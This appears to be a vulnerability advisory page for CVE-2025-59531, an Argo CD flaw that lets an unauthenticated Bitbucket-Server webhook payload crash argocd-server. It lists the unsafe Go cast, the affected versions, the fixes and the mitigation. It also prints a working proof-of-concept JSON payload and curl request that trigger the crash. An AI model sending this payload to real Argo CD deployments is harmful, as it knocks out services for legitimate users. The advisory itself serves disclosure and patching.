CVE-2025-59531: Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Published Sep 30, 2025
·
Updated

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for , l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... }

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

json { "eventKey": "repo:refschanged", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] }

shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refschanged' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Other sources

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

MITRE

Affected Software

10 affected componentsFixes available
go/github.com/argoproj/argo-cd/v3>=3.0.0-rc1<=3.0.18
3.0.19
go/github.com/argoproj/argo-cd/v3>=3.1.0-rc1<=3.1.7
3.1.8
go/github.com/argoproj/argo-cd/v3=3.2.0-rc1
3.2.0-rc2
go/github.com/argoproj/argo-cd/v2>=2.0.0-rc1<=2.14.19
2.14.20
go/github.com/argoproj/argo-cd>=1.2.0<=1.8.7
argoproj Argo CD>=1.2.0<=1.8.7
argoproj Argo CD>=2.0.0<2.14.20
argoproj Argo CD>=3.0.0<3.0.19
argoproj Argo CD>=3.1.0<3.1.8
argoproj Argo CD=3.2.0-rc1

Event History

Sep 30, 2025
Advisory Published
via GitHub·06:11 PM
Data Sourced
via GitHub·06:11 PM
DescriptionSeverityWeaknessAffected Software
Oct 1, 2025
CVE Published
via MITRE·08:49 PM
Data Sourced
via MITRE·08:49 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jan 7, 2026
News Published
via The Register·12:17 AM
News Published
via The Register·12:22 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-59531?

CVE-2025-59531 has a critical severity due to its potential for denial of service attacks against the Argo CD API server.

2

How do I fix CVE-2025-59531?

To fix CVE-2025-59531, upgrade to Argo CD version 3.0.19, 3.1.8, 3.2.0-rc2, or 2.14.20.

3

Which versions of Argo CD are affected by CVE-2025-59531?

Affected versions of Argo CD include 3.0.0-rc1 to 3.0.18, 3.1.0-rc1 to 3.1.7, and 2.0.0-rc1 to 2.14.19.

4

What type of attack does CVE-2025-59531 facilitate?

CVE-2025-59531 facilitates denial of service attacks by allowing malicious API requests that can crash the API server.

5

Is there a configuration that can mitigate CVE-2025-59531?

Setting the 'webhook.bitbucketserver.secret' in the default configuration can help mitigate CVE-2025-59531.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203